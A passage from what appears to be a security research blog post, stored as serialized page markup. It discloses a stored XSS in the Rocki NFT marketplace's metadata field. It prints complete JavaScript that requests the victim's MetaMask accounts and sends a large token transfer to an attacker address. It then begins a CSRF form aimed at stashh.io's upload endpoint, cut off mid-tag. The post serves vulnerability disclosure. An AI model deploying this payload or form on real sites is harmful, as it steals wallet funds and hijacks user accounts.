senses.",{"type":25,"tag":96,"props":44346,"children":44347},{"id":44319},[44348],{"type":30,"value":44349},"XSS",{"type":25,"tag":26,"props":44351,"children":44352},{},[44353],{"type":25,"tag":10281,"props":44354,"children":44355},{},[44356,44358,44365],{"type":30,"value":44357},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":25,"tag":83,"props":44359,"children":44362},{"href":44360,"rel":44361},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[9066],[44363],{"type":30,"value":44364},"even explain it to myself",{"type":30,"value":1860},{"type":25,"tag":247,"props":44367,"children":44369},{"id":44368},"managing-metadata",[44370],{"type":30,"value":44371},"Managing Metadata",{"type":25,"tag":26,"props":44373,"children":44374},{},[44375,44377,44384],{"type":30,"value":44376},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":25,"tag":83,"props":44378,"children":44381},{"href":44379,"rel":44380},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[9066],[44382],{"type":30,"value":44383},"payloads",{"type":30,"value":1860},{"type":25,"tag":26,"props":44386,"children":44387},{},[44388,44390,44397,44399,44405],{"type":30,"value":44389},"We showcase this vulnerability in the ",{"type":25,"tag":83,"props":44391,"children":44394},{"href":44392,"rel":44393},"https://rocki.com/",[9066],[44395],{"type":30,"value":44396},"Rocki Marketplace",{"type":30,"value":44398},". The ",{"type":25,"tag":264,"props":44400,"children":44402},{"className":44401},[],[44403],{"type":30,"value":44404},"artistDescription",{"type":30,"value":44406}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":25,"tag":26,"props":44408,"children":44409},{},[44410],{"type":25,"tag":698,"props":44411,"children":44413},{"alt":7,"src":44412},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":25,"tag":26,"props":44415,"children":44416},{},[44417],{"type":30,"value":44418},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":25,"tag":26,"props":44420,"children":44421},{},[44422],{"type":25,"tag":698,"props":44423,"children":44425},{"alt":7,"src":44424},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":25,"tag":26,"props":44427,"children":44428},{},[44429],{"type":30,"value":44430},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":25,"tag":247,"props":44432,"children":44434},{"id":44433},"wheres-my-wallet",[44435],{"type":30,"value":44436},"Where's My Wallet",{"type":25,"tag":26,"props":44438,"children":44439},{},[44440],{"type":30,"value":44441},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":25,"tag":26,"props":44443,"children":44444},{},[44445],{"type":30,"value":44446},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":25,"tag":26,"props":44448,"children":44449},{},[44450],{"type":30,"value":44451},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":25,"tag":26,"props":44453,"children":44454},{},[44455],{"type":30,"value":44456},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":25,"tag":44458,"props":44459,"children":44461},"div",{"style":44460},"display:flex; align-items:center; flex-direction:column;",[44462],{"type":25,"tag":698,"props":44463,"children":44467},{"src":44464,"alt":44465,"style":44466},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":25,"tag":26,"props":44469,"children":44470},{},[44471],{"type":30,"value":44472},"And here we can find the code used to achieve it :",{"type":25,"tag":7764,"props":44474,"children":44478},{"className":44475,"code":44476,"language":44477,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[44479],{"type":25,"tag":264,"props":44480,"children":44481},{"__ignoreMap":7},[44482,44499,44544,44573,44589,44652,44687,44712,44737,44744,44764,44772,44788,44800,44808,44825,44842,44850,44857,44873,44889,44896,44904,44921,44933,44940,44956,44972,44979,44986,45003,45010,45018,45025,45072,45079,45143,45150,45170,45186,45202,45223,45294,45310,45317,45324,45362,45370,45377,45384,45391,45412],{"type":25,"tag":271,"props":44483,"children":44484},{"class":13593,"line":13594},[44485,44490,44495],{"type":25,"tag":271,"props":44486,"children":44487},{"style":14289},[44488],{"type":30,"value":44489},"function",{"type":25,"tag":271,"props":44491,"children":44492},{"style":13620},[44493],{"type":30,"value":44494}," request",{"type":25,"tag":271,"props":44496,"children":44497},{"style":13625},[44498],{"type":30,"value":28858},{"type":25,"tag":271,"props":44500,"children":44501},{"class":13593,"line":11641},[44502,44507,44511,44516,44521,44525,44530,44535,44540],{"type":25,"tag":271,"props":44503,"children":44504},{"style":16171},[44505],{"type":30,"value":44506},"  if",{"type":25,"tag":271,"props":44508,"children":44509},{"style":13625},[44510],{"type":30,"value":16213},{"type":25,"tag":271,"props":44512,"children":44513},{"style":14289},[44514],{"type":30,"value":44515},"typeof",{"type":25,"tag":271,"props":44517,"children":44518},{"style":13598},[44519],{"type":30,"value":44520}," window",{"type":25,"tag":271,"props":44522,"children":44523},{"style":13625},[44524],{"type":30,"value":1860},{"type":25,"tag":271,"props":44526,"children":44527},{"style":13598},[44528],{"type":30,"value":44529},"ethereum",{"type":25,"tag":271,"props":44531,"children":44532},{"style":13603},[44533],{"type":30,"value":44534}," ===",{"type":25,"tag":271,"props":44536,"children":44537},{"style":17388},[44538],{"type":30,"value":44539}," 'undefined'",{"type":25,"tag":271,"props":44541,"children":44542},{"style":13625},[44543],{"type":30,"value":27925},{"type":25,"tag":271,"props":44545,"children":44546},{"class":13593,"line":14354},[44547,44552,44556,44560,44564,44569],{"type":25,"tag":271,"props":44548,"children":44549},{"style":13598},[44550],{"type":30,"value":44551},"    console",{"type":25,"tag":271,"props":44553,"children":44554},{"style":13625},[44555],{"type":30,"value":1860},{"type":25,"tag":271,"props":44557,"children":44558},{"style":13620},[44559],{"type":30,"value":27985},{"type":25,"tag":271,"props":44561,"children":44562},{"style":13625},[44563],{"type":30,"value":394},{"type":25,"tag":271,"props":44565,"children":44566},{"style":17388},[44567],{"type":30,"value":44568},"'Please install MetaMask to use this feature.'",{"type":25,"tag":271,"props":44570,"children":44571},{"style":13625},[44572],{"type":30,"value":13665},{"type":25,"tag":271,"props":44574,"children":44575},{"class":13593,"line":14391},[44576,44581,44585],{"type":25,"tag":271,"props":44577,"children":44578},{"style":13625},[44579],{"type":30,"value":44580},"  } ",{"type":25,"tag":271,"props":44582,"children":44583},{"style":16171},[44584],{"type":30,"value":16458},{"type":25,"tag":271,"props":44586,"children":44587},{"style":13625},[44588],{"type":30,"value":16431},{"type":25,"tag":271,"props":44590,"children":44591},{"class":13593,"line":14400},[44592,44597,44601,44606,44611,44616,44621,44626,44631,44636,44640,44644,44648],{"type":25,"tag":271,"props":44593,"children":44594},{"style":13598},[44595],{"type":30,"value":44596},"    ethereum",{"type":25,"tag":271,"props":44598,"children":44599},{"style":13625},[44600],{"type":30,"value":1860},{"type":25,"tag":271,"props":44602,"children":44603},{"style":13620},[44604],{"type":30,"value":44605},"request",{"type":25,"tag":271,"props":44607,"children":44608},{"style":13625},[44609],{"type":30,"value":44610},"({ ",{"type":25,"tag":271,"props":44612,"children":44613},{"style":13598},[44614],{"type":30,"value":44615},"method:",{"type":25,"tag":271,"props":44617,"children":44618},{"style":17388},[44619],{"type":30,"value":44620}," 'eth_requestAccounts'",{"type":25,"tag":271,"props":44622,"children":44623},{"style":13625},[44624],{"type":30,"value":44625}," }).",{"type":25,"tag":271,"props":44627,"children":44628},{"style":13620},[44629],{"type":30,"value":44630},"then",{"type":25,"tag":271,"props":44632,"children":44633},{"style":13625},[44634],{"type":30,"value":44635},"((",{"type":25,"tag":271,"props":44637,"children":44638},{"style":13598},[44639],{"type":30,"value":27796},{"type":25,"tag":271,"props":44641,"children":44642},{"style":13625},[44643],{"type":30,"value":14406},{"type":25,"tag":271,"props":44645,"children":44646},{"style":14289},[44647],{"type":30,"value":27943},{"type":25,"tag":271,"props":44649,"children":44650},{"style":13625},[44651],{"type":30,"value":16431},{"type":25,"tag":271,"props":44653,"children":44654},{"class":13593,"line":16406},[44655,44660,44665,44669,44674,44678,44682],{"type":25,"tag":271,"props":44656,"children":44657},{"style":14289},[44658],{"type":30,"value":44659},"      const",{"type":25,"tag":271,"props":44661,"children":44662},{"style":13598},[44663],{"type":30,"value":44664}," fromAddress",{"type":25,"tag":271,"props":44666,"children":44667},{"style":13603},[44668],{"type":30,"value":16155},{"type":25,"tag":271,"props":44670,"children":44671},{"style":13598},[44672],{"type":30,"value":44673}," accounts",{"type":25,"tag":271,"props":44675,"children":44676},{"style":13625},[44677],{"type":30,"value":5604},{"type":25,"tag":271,"props":44679,"children":44680},{"style":16187},[44681],{"type":30,"value":953},{"type":25,"tag":271,"props":44683,"children":44684},{"style":13625},[44685],{"type":30,"value":44686},"];\n",{"type":25,"tag":271,"props":44688,"children":44689},{"class":13593,"line":16434},[44690,44694,44699,44703,44708],{"type":25,"tag":271,"props":44691,"children":44692},{"style":14289},[44693],{"type":30,"value":44659},{"type":25,"tag":271,"props":44695,"children":44696},{"style":13598},[44697],{"type":30,"value":44698}," attackerAddress",{"type":25,"tag":271,"props":44700,"children":44701},{"style":13603},[44702],{"type":30,"value":16155},{"type":25,"tag":271,"props":44704,"children":44705},{"style":17388},[44706],{"type":30,"value":44707}," '0x0000000000000000000000000000000000000000'",{"type":25,"tag":271,"props":44709,"children":44710},{"style":13625},[44711],{"type":30,"value":16165},{"type":25,"tag":271,"props":44713,"children":44714},{"class":13593,"line":16447},[44715,44719,44724,44728,44733],{"type":25,"tag":271,"props":44716,"children":44717},{"style":14289},[44718],{"type":30,"value":44659},{"type":25,"tag":271,"props":44720,"children":44721},{"style":13598},[44722],{"type":30,"value":44723}," contractAddress",{"type":25,"tag":271,"props":44725,"children":44726},{"style":13603},[44727],{"type":30,"value":16155},{"type":25,"tag":271,"props":44729,"children":44730},{"style":17388},[44731],{"type":30,"value":44732}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":25,"tag":271,"props":44734,"children":44735},{"style":13625},[44736],{"type":30,"value":16165},{"type":25,"tag":271,"props":44738,"children":44739},{"class":13593,"line":16465},[44740],{"type":25,"tag":271,"props":44741,"children":44742},{"emptyLinePlaceholder":18},[44743],{"type":30,"value":16829},{"type":25,"tag":271,"props":44745,"children":44746},{"class":13593,"line":16486},[44747,44751,44756,44760],{"type":25,"tag":271,"props":44748,"children":44749},{"style":14289},[44750],{"type":30,"value":21197},{"type":25,"tag":271,"props":44752,"children":44753},{"style":13598},[44754],{"type":30,"value":44755}," tokenAbi",{"type":25,"tag":271,"props":44757,"children":44758},{"style":13603},[44759],{"type":30,"value":16155},{"type":25,"tag":271,"props":44761,"children":44762},{"style":13625},[44763],{"type":30,"value":38731},{"type":25,"tag":271,"props":44765,"children":44766},{"class":13593,"line":16495},[44767],{"type":25,"tag":271,"props":44768,"children":44769},{"style":13625},[44770],{"type":30,"value":44771},"        {\n",{"type":25,"tag":271,"props":44773,"children":44774},{"class":13593,"line":16744},[44775,44780,44784],{"type":25,"tag":271,"props":44776,"children":44777},{"style":13598},[44778],{"type":30,"value":44779},"          constant:",{"type":25,"tag":271,"props":44781,"children":44782},{"style":14289},[44783],{"type":30,"value":22179},{"type":25,"tag":271,"props":44785,"children":44786},{"style":13625},[44787],{"type":30,"value":14351},{"type":25,"tag":271,"props":44789,"children":44790},{"class":13593,"line":16761},[44791,44796],{"type":25,"tag":271,"props":44792,"children":44793},{"style":13598},[44794],{"type":30,"value":44795},"          inputs:",{"type":25,"tag":271,"props":44797,"children":44798},{"style":13625},[44799],{"type":30,"value":38731},{"type":25,"tag":271,"props":44801,"children":44802},{"class":13593,"line":16778},[44803],{"type":25,"tag":271,"props":44804,"children":44805},{"style":13625},[44806],{"type":30,"value":44807},"            {\n",{"type":25,"tag":271,"props":44809,"children":44810},{"class":13593,"line":16791},[44811,44816,44821],{"type":25,"tag":271,"props":44812,"children":44813},{"style":13598},[44814],{"type":30,"value":44815},"              name:",{"type":25,"tag":271,"props":44817,"children":44818},{"style":17388},[44819],{"type":30,"value":44820}," '_to'",{"type":25,"tag":271,"props":44822,"children":44823},{"style":13625},[44824],{"type":30,"value":14351},{"type":25,"tag":271,"props":44826,"children":44827},{"class":13593,"line":16800},[44828,44833,44838],{"type":25,"tag":271,"props":44829,"children":44830},{"style":13598},[44831],{"type":30,"value":44832},"              type:",{"type":25,"tag":271,"props":44834,"children":44835},{"style":17388},[44836],{"type":30,"value":44837}," 'address'",{"type":25,"tag":271,"props":44839,"children":44840},{"style":13625},[44841],{"type":30,"value":14351},{"type":25,"tag":271,"props":44843,"children":44844},{"class":13593,"line":16823},[44845],{"type":25,"tag":271,"props":44846,"children":44847},{"style":13625},[44848],{"type":30,"value":44849},"            },\n",{"type":25,"tag":271,"props":44851,"children":44852},{"class":13593,"line":16832},[44853],{"type":25,"tag":271,"props":44854,"children":44855},{"style":13625},[44856],{"type":30,"value":44807},{"type":25,"tag":271,"props":44858,"children":44859},{"class":13593,"line":16841},[44860,44864,44869],{"type":25,"tag":271,"props":44861,"children":44862},{"style":13598},[44863],{"type":30,"value":44815},{"type":25,"tag":271,"props":44865,"children":44866},{"style":17388},[44867],{"type":30,"value":44868}," '_value'",{"type":25,"tag":271,"props":44870,"children":44871},{"style":13625},[44872],{"type":30,"value":14351},{"type":25,"tag":271,"props":44874,"children":44875},{"class":13593,"line":16907},[44876,44880,44885],{"type":25,"tag":271,"props":44877,"children":44878},{"style":13598},[44879],{"type":30,"value":44832},{"type":25,"tag":271,"props":44881,"children":44882},{"style":17388},[44883],{"type":30,"value":44884}," 'uint256'",{"type":25,"tag":271,"props":44886,"children":44887},{"style":13625},[44888],{"type":30,"value":14351},{"type":25,"tag":271,"props":44890,"children":44891},{"class":13593,"line":16915},[44892],{"type":25,"tag":271,"props":44893,"children":44894},{"style":13625},[44895],{"type":30,"value":44849},{"type":25,"tag":271,"props":44897,"children":44898},{"class":13593,"line":16945},[44899],{"type":25,"tag":271,"props":44900,"children":44901},{"style":13625},[44902],{"type":30,"value":44903},"          ],\n",{"type":25,"tag":271,"props":44905,"children":44906},{"class":13593,"line":16953},[44907,44912,44917],{"type":25,"tag":271,"props":44908,"children":44909},{"style":13598},[44910],{"type":30,"value":44911},"          name:",{"type":25,"tag":271,"props":44913,"children":44914},{"style":17388},[44915],{"type":30,"value":44916}," 'transfer'",{"type":25,"tag":271,"props":44918,"children":44919},{"style":13625},[44920],{"type":30,"value":14351},{"type":25,"tag":271,"props":44922,"children":44923},{"class":13593,"line":16984},[44924,44929],{"type":25,"tag":271,"props":44925,"children":44926},{"style":13598},[44927],{"type":30,"value":44928},"          outputs:",{"type":25,"tag":271,"props":44930,"children":44931},{"style":13625},[44932],{"type":30,"value":38731},{"type":25,"tag":271,"props":44934,"children":44935},{"class":13593,"line":16992},[44936],{"type":25,"tag":271,"props":44937,"children":44938},{"style":13625},[44939],{"type":30,"value":44807},{"type":25,"tag":271,"props":44941,"children":44942},{"class":13593,"line":17052},[44943,44947,44952],{"type":25,"tag":271,"props":44944,"children":44945},{"style":13598},[44946],{"type":30,"value":44815},{"type":25,"tag":271,"props":44948,"children":44949},{"style":17388},[44950],{"type":30,"value":44951}," ''",{"type":25,"tag":271,"props":44953,"children":44954},{"style":13625},[44955],{"type":30,"value":14351},{"type":25,"tag":271,"props":44957,"children":44958},{"class":13593,"line":22168},[44959,44963,44968],{"type":25,"tag":271,"props":44960,"children":44961},{"style":13598},[44962],{"type":30,"value":44832},{"type":25,"tag":271,"props":44964,"children":44965},{"style":17388},[44966],{"type":30,"value":44967}," 'bool'",{"type":25,"tag":271,"props":44969,"children":44970},{"style":13625},[44971],{"type":30,"value":14351},{"type":25,"tag":271,"props":44973,"children":44974},{"class":13593,"line":22186},[44975],{"type":25,"tag":271,"props":44976,"children":44977},{"style":13625},[44978],{"type":30,"value":44849},{"type":25,"tag":271,"props":44980,"children":44981},{"class":13593,"line":22231},[44982],{"type":25,"tag":271,"props":44983,"children":44984},{"style":13625},[44985],{"type":30,"value":44903},{"type":25,"tag":271,"props":44987,"children":44988},{"class":13593,"line":22337},[44989,44994,44999],{"type":25,"tag":271,"props":44990,"children":44991},{"style":13598},[44992],{"type":30,"value":44993},"          type:",{"type":25,"tag":271,"props":44995,"children":44996},{"style":17388},[44997],{"type":30,"value":44998}," 'function'",{"type":25,"tag":271,"props":45000,"children":45001},{"style":13625},[45002],{"type":30,"value":14351},{"type":25,"tag":271,"props":45004,"children":45005},{"class":13593,"line":36608},[45006],{"type":25,"tag":271,"props":45007,"children":45008},{"style":13625},[45009],{"type":30,"value":38483},{"type":25,"tag":271,"props":45011,"children":45012},{"class":13593,"line":36643},[45013],{"type":25,"tag":271,"props":45014,"children":45015},{"style":13625},[45016],{"type":30,"value":45017},"      ];\n",{"type":25,"tag":271,"props":45019,"children":45020},{"class":13593,"line":36651},[45021],{"type":25,"tag":271,"props":45022,"children":45023},{"emptyLinePlaceholder":18},[45024],{"type":30,"value":16829},{"type":25,"tag":271,"props":45026,"children":45027},{"class":13593,"line":36659},[45028,45032,45037,45041,45046,45051,45055,45060,45064,45068],{"type":25,"tag":271,"props":45029,"children":45030},{"style":14289},[45031],{"type":30,"value":44659},{"type":25,"tag":271,"props":45033,"children":45034},{"style":13598},[45035],{"type":30,"value":45036}," web3",{"type":25,"tag":271,"props":45038,"children":45039},{"style":13603},[45040],{"type":30,"value":16155},{"type":25,"tag":271,"props":45042,"children":45043},{"style":14289},[45044],{"type":30,"value":45045}," new",{"type":25,"tag":271,"props":45047,"children":45048},{"style":13620},[45049],{"type":30,"value":45050}," Web3",{"type":25,"tag":271,"props":45052,"children":45053},{"style":13625},[45054],{"type":30,"value":394},{"type":25,"tag":271,"props":45056,"children":45057},{"style":13598},[45058],{"type":30,"value":45059},"window",{"type":25,"tag":271,"props":45061,"children":45062},{"style":13625},[45063],{"type":30,"value":1860},{"type":25,"tag":271,"props":45065,"children":45066},{"style":13598},[45067],{"type":30,"value":44529},{"type":25,"tag":271,"props":45069,"children":45070},{"style":13625},[45071],{"type":30,"value":13665},{"type":25,"tag":271,"props":45073,"children":45074},{"class":13593,"line":36668},[45075],{"type":25,"tag":271,"props":45076,"children":45077},{"emptyLinePlaceholder":18},[45078],{"type":30,"value":16829},{"type":25,"tag":271,"props":45080,"children":45081},{"class":13593,"line":36710},[45082,45086,45091,45095,45099,45103,45107,45112,45116,45121,45125,45130,45134,45139],{"type":25,"tag":271,"props":45083,"children":45084},{"style":14289},[45085],{"type":30,"value":44659},{"type":25,"tag":271,"props":45087,"children":45088},{"style":13598},[45089],{"type":30,"value":45090}," tokenContract",{"type":25,"tag":271,"props":45092,"children":45093},{"style":13603},[45094],{"type":30,"value":16155},{"type":25,"tag":271,"props":45096,"children":45097},{"style":14289},[45098],{"type":30,"value":45045},{"type":25,"tag":271,"props":45100,"children":45101},{"style":13598},[45102],{"type":30,"value":45036},{"type":25,"tag":271,"props":45104,"children":45105},{"style":13625},[45106],{"type":30,"value":1860},{"type":25,"tag":271,"props":45108,"children":45109},{"style":13598},[45110],{"type":30,"value":45111},"eth",{"type":25,"tag":271,"props":45113,"children":45114},{"style":13625},[45115],{"type":30,"value":1860},{"type":25,"tag":271,"props":45117,"children":45118},{"style":13620},[45119],{"type":30,"value":45120},"Contract",{"type":25,"tag":271,"props":45122,"children":45123},{"style":13625},[45124],{"type":30,"value":394},{"type":25,"tag":271,"props":45126,"children":45127},{"style":13598},[45128],{"type":30,"value":45129},"tokenAbi",{"type":25,"tag":271,"props":45131,"children":45132},{"style":13625},[45133],{"type":30,"value":44},{"type":25,"tag":271,"props":45135,"children":45136},{"style":13598},[45137],{"type":30,"value":45138},"contractAddress",{"type":25,"tag":271,"props":45140,"children":45141},{"style":13625},[45142],{"type":30,"value":13665},{"type":25,"tag":271,"props":45144,"children":45145},{"class":13593,"line":36743},[45146],{"type":25,"tag":271,"props":45147,"children":45148},{"emptyLinePlaceholder":18},[45149],{"type":30,"value":16829},{"type":25,"tag":271,"props":45151,"children":45152},{"class":13593,"line":36751},[45153,45157,45162,45166],{"type":25,"tag":271,"props":45154,"children":45155},{"style":14289},[45156],{"type":30,"value":44659},{"type":25,"tag":271,"props":45158,"children":45159},{"style":13598},[45160],{"type":30,"value":45161}," transactionObject",{"type":25,"tag":271,"props":45163,"children":45164},{"style":13603},[45165],{"type":30,"value":16155},{"type":25,"tag":271,"props":45167,"children":45168},{"style":13625},[45169],{"type":30,"value":16431},{"type":25,"tag":271,"props":45171,"children":45172},{"class":13593,"line":36759},[45173,45178,45182],{"type":25,"tag":271,"props":45174,"children":45175},{"style":13598},[45176],{"type":30,"value":45177},"        from:",{"type":25,"tag":271,"props":45179,"children":45180},{"style":13598},[45181],{"type":30,"value":44664},{"type":25,"tag":271,"props":45183,"children":45184},{"style":13625},[45185],{"type":30,"value":14351},{"type":25,"tag":271,"props":45187,"children":45188},{"class":13593,"line":36768},[45189,45194,45198],{"type":25,"tag":271,"props":45190,"children":45191},{"style":13598},[45192],{"type":30,"value":45193},"        to:",{"type":25,"tag":271,"props":45195,"children":45196},{"style":13598},[45197],{"type":30,"value":44723},{"type":25,"tag":271,"props":45199,"children":45200},{"style":13625},[45201],{"type":30,"value":14351},{"type":25,"tag":271,"props":45203,"children":45204},{"class":13593,"line":36844},[45205,45210,45214,45218],{"type":25,"tag":271,"props":45206,"children":45207},{"style":13598},[45208],{"type":30,"value":45209},"        data:",{"type":25,"tag":271,"props":45211,"children":45212},{"style":13598},[45213],{"type":30,"value":45090},{"type":25,"tag":271,"props":45215,"children":45216},{"style":13625},[45217],{"type":30,"value":1860},{"type":25,"tag":271,"props":45219,"children":45220},{"style":13598},[45221],{"type":30,"value":45222},"methods\n",{"type":25,"tag":271,"props":45224,"children":45225},{"class":13593,"line":36877},[45226,45231,45236,45240,45245,45249,45254,45258,45263,45267,45272,45276,45281,45285,45290],{"type":25,"tag":271,"props":45227,"children":45228},{"style":13625},[45229],{"type":30,"value":45230},"          .",{"type":25,"tag":271,"props":45232,"children":45233},{"style":13620},[45234],{"type":30,"value":45235},"transfer",{"type":25,"tag":271,"props":45237,"children":45238},{"style":13625},[45239],{"type":30,"value":394},{"type":25,"tag":271,"props":45241,"children":45242},{"style":13598},[45243],{"type":30,"value":45244},"attackerAddress",{"type":25,"tag":271,"props":45246,"children":45247},{"style":13625},[45248],{"type":30,"value":44},{"type":25,"tag":271,"props":45250,"children":45251},{"style":13598},[45252],{"type":30,"value":45253},"web3",{"type":25,"tag":271,"props":45255,"children":45256},{"style":13625},[45257],{"type":30,"value":1860},{"type":25,"tag":271,"props":45259,"children":45260},{"style":13598},[45261],{"type":30,"value":45262},"utils",{"type":25,"tag":271,"props":45264,"children":45265},{"style":13625},[45266],{"type":30,"value":1860},{"type":25,"tag":271,"props":45268,"children":45269},{"style":13620},[45270],{"type":30,"value":45271},"toWei",{"type":25,"tag":271,"props":45273,"children":45274},{"style":13625},[45275],{"type":30,"value":394},{"type":25,"tag":271,"props":45277,"children":45278},{"style":17388},[45279],{"type":30,"value":45280},"'100000000'",{"type":25,"tag":271,"props":45282,"children":45283},{"style":13625},[45284],{"type":30,"value":44},{"type":25,"tag":271,"props":45286,"children":45287},{"style":17388},[45288],{"type":30,"value":45289},"'ether'",{"type":25,"tag":271,"props":45291,"children":45292},{"style":13625},[45293],{"type":30,"value":32833},{"type":25,"tag":271,"props":45295,"children":45296},{"class":13593,"line":36885},[45297,45301,45306],{"type":25,"tag":271,"props":45298,"children":45299},{"style":13625},[45300],{"type":30,"value":45230},{"type":25,"tag":271,"props":45302,"children":45303},{"style":13620},[45304],{"type":30,"value":45305},"encodeABI",{"type":25,"tag":271,"props":45307,"children":45308},{"style":13625},[45309],{"type":30,"value":16636},{"type":25,"tag":271,"props":45311,"children":45312},{"class":13593,"line":36893},[45313],{"type":25,"tag":271,"props":45314,"children":45315},{"style":13625},[45316],{"type":30,"value":22041},{"type":25,"tag":271,"props":45318,"children":45319},{"class":13593,"line":36930},[45320],{"type":25,"tag":271,"props":45321,"children":45322},{"emptyLinePlaceholder":18},[45323],{"type":30,"value":16829},{"type":25,"tag":271,"props":45325,"children":45326},{"class":13593,"line":36943},[45327,45332,45336,45340,45344,45349,45353,45358],{"type":25,"tag":271,"props":45328,"children":45329},{"style":13598},[45330],{"type":30,"value":45331},"      web3",{"type":25,"tag":271,"props":45333,"children":45334},{"style":13625},[45335],{"type":30,"value":1860},{"type":25,"tag":271,"props":45337,"children":45338},{"style":13598},[45339],{"type":30,"value":45111},{"type":25,"tag":271,"props":45341,"children":45342},{"style":13625},[45343],{"type":30,"value":1860},{"type":25,"tag":271,"props":45345,"children":45346},{"style":13620},[45347],{"type":30,"value":45348},"sendTransaction",{"type":25,"tag":271,"props":45350,"children":45351},{"style":13625},[45352],{"type":30,"value":394},{"type":25,"tag":271,"props":45354,"children":45355},{"style":13598},[45356],{"type":30,"value":45357},"transactionObject",{"type":25,"tag":271,"props":45359,"children":45360},{"style":13625},[45361],{"type":30,"value":13665},{"type":25,"tag":271,"props":45363,"children":45364},{"class":13593,"line":36956},[45365],{"type":25,"tag":271,"props":45366,"children":45367},{"style":13625},[45368],{"type":30,"value":45369},"    });\n",{"type":25,"tag":271,"props":45371,"children":45372},{"class":13593,"line":36969},[45373],{"type":25,"tag":271,"props":45374,"children":45375},{"style":13625},[45376],{"type":30,"value":19003},{"type":25,"tag":271,"props":45378,"children":45379},{"class":13593,"line":37023},[45380],{"type":25,"tag":271,"props":45381,"children":45382},{"style":13625},[45383],{"type":30,"value":17058},{"type":25,"tag":271,"props":45385,"children":45386},{"class":13593,"line":37032},[45387],{"type":25,"tag":271,"props":45388,"children":45389},{"emptyLinePlaceholder":18},[45390],{"type":30,"value":16829},{"type":25,"tag":271,"props":45392,"children":45394},{"class":13593,"line":45393},51,[45395,45399,45403,45408],{"type":25,"tag":271,"props":45396,"children":45397},{"style":14289},[45398],{"type":30,"value":32604},{"type":25,"tag":271,"props":45400,"children":45401},{"style":13625},[45402],{"type":30,"value":394},{"type":25,"tag":271,"props":45404,"children":45405},{"style":17388},[45406],{"type":30,"value":45407},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":25,"tag":271,"props":45409,"children":45410},{"style":13625},[45411],{"type":30,"value":13665},{"type":25,"tag":271,"props":45413,"children":45415},{"class":13593,"line":45414},52,[45416,45421,45425,45429,45433,45438],{"type":25,"tag":271,"props":45417,"children":45418},{"style":13620},[45419],{"type":30,"value":45420},"setTimeout",{"type":25,"tag":271,"props":45422,"children":45423},{"style":13625},[45424],{"type":30,"value":394},{"type":25,"tag":271,"props":45426,"children":45427},{"style":13598},[45428],{"type":30,"value":44605},{"type":25,"tag":271,"props":45430,"children":45431},{"style":13625},[45432],{"type":30,"value":44},{"type":25,"tag":271,"props":45434,"children":45435},{"style":16187},[45436],{"type":30,"value":45437},"1e3",{"type":25,"tag":271,"props":45439,"children":45440},{"style":13625},[45441],{"type":30,"value":13665},{"type":25,"tag":26,"props":45443,"children":45444},{},[45445,45450],{"type":25,"tag":38,"props":45446,"children":45447},{},[45448],{"type":30,"value":45449},"CSRF & XSS",{"type":30,"value":45451},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":25,"tag":26,"props":45453,"children":45454},{},[45455,45457,45462],{"type":30,"value":45456},"Our attention was drawn to ",{"type":25,"tag":83,"props":45458,"children":45460},{"href":44392,"rel":45459},[9066],[45461],{"type":30,"value":44396},{"type":30,"value":45463},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":25,"tag":26,"props":45465,"children":45466},{},[45467],{"type":25,"tag":698,"props":45468,"children":45470},{"alt":7,"src":45469},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":25,"tag":26,"props":45472,"children":45473},{},[45474],{"type":30,"value":45475},"and here there is the code:",{"type":25,"tag":7764,"props":45477,"children":45479},{"className":44475,"code":45478,"language":44477,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" 